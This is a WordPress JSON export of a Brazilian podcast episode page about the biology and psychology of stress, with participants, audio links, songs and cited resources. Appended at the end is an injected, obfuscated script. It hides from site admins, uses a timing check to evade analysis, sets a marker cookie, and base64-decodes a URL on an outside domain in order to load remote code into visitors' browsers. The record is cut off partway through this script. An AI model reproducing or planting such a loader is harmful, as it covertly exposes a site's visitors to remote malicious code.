{"id":3841,"date":"2021-09-08T12:42:25","date_gmt":"2021-09-08T15:42:25","guid":{"rendered":"https:\/\/rockcomciencia.crp.ufv.br\/?p=3841"},"modified":"2025-10-15T20:41:50","modified_gmt":"2025-10-15T23:41:50","slug":"estresse-s12e30","status":"publish","type":"post","link":"https:\/\/rockcomciencia.crp.ufv.br\/?p=3841","title":{"rendered":"Estresse (S12E30)"},"content":{"rendered":"\n<p style=\"text-align: center;\"><a href=\"https:\/\/rockcomciencia.crp.ufv.br\/arquivos\/3841\/capas-rcc-estresse#main\" rel=\"attachment wp-att-3843\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-3843\" src=\"https:\/\/rockcomciencia.crp.ufv.br\/wp-content\/uploads\/2021\/09\/capas-rcc-estresse-300x300.png\" alt=\"\" width=\"300\" height=\"300\" srcset=\"https:\/\/rockcomciencia.crp.ufv.br\/wp-content\/uploads\/2021\/09\/capas-rcc-estresse-300x300.png 300w, https:\/\/rockcomciencia.crp.ufv.br\/wp-content\/uploads\/2021\/09\/capas-rcc-estresse-1024x1024.png 1024w, https:\/\/rockcomciencia.crp.ufv.br\/wp-content\/uploads\/2021\/09\/capas-rcc-estresse-150x150.png 150w, https:\/\/rockcomciencia.crp.ufv.br\/wp-content\/uploads\/2021\/09\/capas-rcc-estresse-768x768.png 768w, https:\/\/rockcomciencia.crp.ufv.br\/wp-content\/uploads\/2021\/09\/capas-rcc-estresse-200x200.png 200w, https:\/\/rockcomciencia.crp.ufv.br\/wp-content\/uploads\/2021\/09\/capas-rcc-estresse.png 1080w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n\n\n\n<p>No trig\u00e9simo epis\u00f3dio do Rock com Ci\u00eancia desta temporada, conversamos com o Edeilton Silva sobre estresse, abordando desde sua origem evolutiva, seus mecanismos fisiol\u00f3gicos at\u00e9 suas consequ\u00eancias para o corpo e a mente das pessoas e dos outros organismos. O que acontece no nosso corpo quando estamos estressados? Como tratar isso? Por que todas as perguntas desse programa podem ser respondidas com &#8220;\u00e9 complicado&#8221;? Descubra a resposta para estas e outras perguntas em nosso novo epis\u00f3dio!<\/p>\n<p><span style=\"font-weight: 400;\">Participantes: Marcus Duarte (<a href=\"https:\/\/twitter.com\/MarcusAgua\">@MarcusAgua<\/a>), Igor Lemes (<a href=\"https:\/\/twitter.com\/igorlemes84\">@igorlemes84<\/a>), Beatriz Alonso (<a href=\"https:\/\/twitter.com\/btz_alonso\">@btz_alonso<\/a>) e Edeilton Silva (<a href=\"https:\/\/twitter.com\/glaucophyta\">@glaucophyta<\/a>)<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Edi\u00e7\u00e3o por: Beatriz Alonso<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Aconselhamos o uso de fones de ouvido para uma melhor experi\u00eancia!<\/span><\/p>\n<p><span style=\"font-weight: 400;\"><div class=\"powerpress_player\" id=\"powerpress_player_5352\"><audio class=\"wp-audio-shortcode\" id=\"audio-3841-1\" preload=\"none\" style=\"width: 100%;\" controls=\"controls\"><source type=\"audio\/mpeg\" src=\"https:\/\/media.blubrry.com\/rockcomciencia\/rockcomciencia.com.br\/podcast\/RCCS12E30-Estresse.mp3?_=1\" \/><a href=\"https:\/\/media.blubrry.com\/rockcomciencia\/rockcomciencia.com.br\/podcast\/RCCS12E30-Estresse.mp3\">https:\/\/media.blubrry.com\/rockcomciencia\/rockcomciencia.com.br\/podcast\/RCCS12E30-Estresse.mp3<\/a><\/audio><\/div><p class=\"powerpress_links powerpress_links_mp3\" style=\"margin-bottom: 1px !important;\">Podcast: <a href=\"https:\/\/media.blubrry.com\/rockcomciencia\/rockcomciencia.com.br\/podcast\/RCCS12E30-Estresse.mp3\" class=\"powerpress_link_pinw\" target=\"_blank\" title=\"Play in new window\" onclick=\"return powerpress_pinw('https:\/\/rockcomciencia.crp.ufv.br\/?powerpress_pinw=3841-podcast');\" rel=\"nofollow\">Play in new window<\/a> | <a href=\"https:\/\/media.blubrry.com\/rockcomciencia\/rockcomciencia.com.br\/podcast\/RCCS12E30-Estresse.mp3\" class=\"powerpress_link_d\" title=\"Download\" rel=\"nofollow\" download=\"RCCS12E30-Estresse.mp3\">Download<\/a> (Duration: 1:31:50 &#8212; 118.9MB) | <a href=\"#\" class=\"powerpress_link_e\" title=\"Embed\" onclick=\"return powerpress_show_embed('3841-podcast');\" rel=\"nofollow\">Embed<\/a><\/p><p class=\"powerpress_embed_box\" id=\"powerpress_embed_3841-podcast\" style=\"display: none;\"><input id=\"powerpress_embed_3841-podcast_t\" type=\"text\" value=\"&lt;iframe width=&quot;320&quot; height=&quot;30&quot; src=&quot;https:\/\/rockcomciencia.crp.ufv.br\/?powerpress_embed=3841-podcast&amp;amp;powerpress_player=mediaelement-audio&quot; title=&quot;Blubrry Podcast Player&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;\/iframe&gt;\" onclick=\"javascript: this.select();\" onfocus=\"javascript: this.select();\" style=\"width: 70%;\" readOnly><\/p><p class=\"powerpress_links powerpress_subscribe_links\">Subscribe: <a href=\"https:\/\/open.spotify.com\/show\/4gphouFGZs7dZr0c0OjbgF\" class=\"powerpress_link_subscribe powerpress_link_subscribe_spotify\" target=\"_blank\" title=\"Subscribe on Spotify\" rel=\"nofollow\">Spotify<\/a> | <a href=\"https:\/\/feeds.feedburner.com\/rockcomciencia\" class=\"powerpress_link_subscribe powerpress_link_subscribe_rss\" target=\"_blank\" title=\"Subscribe via RSS\" rel=\"nofollow\">RSS<\/a> | <a href=\"https:\/\/rockcomciencia.crp.ufv.br\/?page_id=2147\" class=\"powerpress_link_subscribe powerpress_link_subscribe_more\" target=\"_blank\" title=\"More\" rel=\"nofollow\">More<\/a><\/p><\/span><\/p>\n<p><b>Rock 1<\/b><span style=\"font-weight: 400;\">: Stratego &#8211; Iron Maiden<\/span><\/p>\n<p><b>Rock 2<\/b><span style=\"font-weight: 400;\">: Stressed Out &#8211; Twenty One Pilots (vers\u00e3o rock &#8211; Our Last Night)<\/span><\/p>\n<p><b>Rock 3<\/b><span style=\"font-weight: 400;\">: Shudder Before the Beautiful &#8211; Nightwish<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Ah, voc\u00ea n\u00e3o gosta das m\u00fasicas? \u00c9 uma pena, mas n\u00e3o tem problema! Agora voc\u00ea pode ouvir a vers\u00e3o sem m\u00fasicas! Esse \u00e9 o nosso Lado B!<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0<div class=\"powerpress_player\" id=\"powerpress_player_5353\"><audio class=\"wp-audio-shortcode\" id=\"audio-3841-2\" preload=\"none\" style=\"width: 100%;\" controls=\"controls\"><source type=\"audio\/mpeg\" src=\"https:\/\/media.blubrry.com\/rockcomciencia\/rockcomciencia.com.br\/podcast\/RCCS12E30-EstresseB.mp3?_=2\" \/><a href=\"https:\/\/media.blubrry.com\/rockcomciencia\/rockcomciencia.com.br\/podcast\/RCCS12E30-EstresseB.mp3\">https:\/\/media.blubrry.com\/rockcomciencia\/rockcomciencia.com.br\/podcast\/RCCS12E30-EstresseB.mp3<\/a><\/audio><\/div><p class=\"powerpress_links powerpress_links_mp3\" style=\"margin-bottom: 1px !important;\">Podcast (ladob): <a href=\"https:\/\/media.blubrry.com\/rockcomciencia\/rockcomciencia.com.br\/podcast\/RCCS12E30-EstresseB.mp3\" class=\"powerpress_link_pinw\" target=\"_blank\" title=\"Play in new window\" onclick=\"return powerpress_pinw('https:\/\/rockcomciencia.crp.ufv.br\/?powerpress_pinw=3841-ladob');\" rel=\"nofollow\">Play in new window<\/a> | <a href=\"https:\/\/media.blubrry.com\/rockcomciencia\/rockcomciencia.com.br\/podcast\/RCCS12E30-EstresseB.mp3\" class=\"powerpress_link_d\" title=\"Download\" rel=\"nofollow\" download=\"RCCS12E30-EstresseB.mp3\">Download<\/a> (Duration: 1:17:56 &#8212; 99.1MB) | <a href=\"#\" class=\"powerpress_link_e\" title=\"Embed\" onclick=\"return powerpress_show_embed('3841-ladob');\" rel=\"nofollow\">Embed<\/a><\/p><p class=\"powerpress_embed_box\" id=\"powerpress_embed_3841-ladob\" style=\"display: none;\"><input id=\"powerpress_embed_3841-ladob_t\" type=\"text\" value=\"&lt;iframe width=&quot;320&quot; height=&quot;30&quot; src=&quot;https:\/\/rockcomciencia.crp.ufv.br\/?powerpress_embed=3841-ladob&amp;amp;powerpress_player=mediaelement-audio&quot; title=&quot;Blubrry Podcast Player&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;\/iframe&gt;\" onclick=\"javascript: this.select();\" onfocus=\"javascript: this.select();\" style=\"width: 70%;\" readOnly><\/p><p class=\"powerpress_links powerpress_subscribe_links\">Subscribe: <a href=\"https:\/\/rockcomciencia.crp.ufv.br\/?feed=ladob\" class=\"powerpress_link_subscribe powerpress_link_subscribe_rss\" target=\"_blank\" title=\"Subscribe via RSS\" rel=\"nofollow\">RSS<\/a><\/p><\/span><\/p>\n<p><span style=\"font-weight: 400;\">Assine o Lado B para sempre ter acesso ao epis\u00f3dio editado sem as m\u00fasicas!<\/span><\/p>\n<p><span style=\"font-weight: 400;\"><\/span><\/p>\n<p><span style=\"font-weight: 400;\">Gostou do epis\u00f3dio? N\u00e3o gostou do epis\u00f3dio? Encontrou alguma falha gritante (ou pequena que seja)? Envie seu coment\u00e1rio! Pode ser aqui mesmo no site ou pelo email rock@rockcomciencia.com.br. Ou ainda pelo Twitter (@rockcomciencia<\/span><span style=\"font-weight: 400;\">) ou Facebook (<\/span><a href=\"https:\/\/www.facebook.com\/rockcomciencia\/\"><span style=\"font-weight: 400;\">https:\/\/www.facebook.com\/rockcomciencia\/<\/span><\/a><span style=\"font-weight: 400;\">)!<\/span><\/p>\n<p>Links citados no programa:<\/p>\n<ul>\n<li>Poeira Estelar: <a href=\"https:\/\/www.poeiraestelar.net\/\">https:\/\/www.poeiraestelar.net\/<\/a><\/li>\n<li>Dr. Robert Sapolsky: Science of Stress, Testosterone &amp; Free Will | Huberman Lab Podcast #35\n<ul>\n<li>Link: <a class=\"anchor-3Z-8Bb anchorUnderlineOnHover-2ESHQB\" tabindex=\"0\" title=\"https:\/\/www.youtube.com\/watch?v=DtmwtjOoSYU&amp;t=3527s\" role=\"button\" href=\"https:\/\/www.youtube.com\/watch?v=DtmwtjOoSYU&amp;t=3527s\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.youtube.com\/watch?v=DtmwtjOoSYU&amp;t=3527s<\/a><\/li>\n<\/ul>\n<\/li>\n<li>Livro: Sociedade do Cansa\u00e7o &#8211; Byung-Chul Han<\/li>\n<li>Healthy Gamer\n<ul>\n<li>Link: <a class=\"anchor-3Z-8Bb anchorUnderlineOnHover-2ESHQB\" tabindex=\"0\" title=\"https:\/\/www.twitch.tv\/healthygamer_gg\" role=\"button\" href=\"https:\/\/www.twitch.tv\/healthygamer_gg\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.twitch.tv\/healthygamer_gg<\/a><\/li>\n<\/ul>\n<\/li>\n<li>Stress, Portrait of a Killer &#8211; Full Documentary (2008)\n<ul>\n<li>Link: <a href=\"https:\/\/www.youtube.com\/watch?v=eYG0ZuTv5r\">https:\/\/www.youtube.com\/watch?v=eYG0ZuTv5r<\/a><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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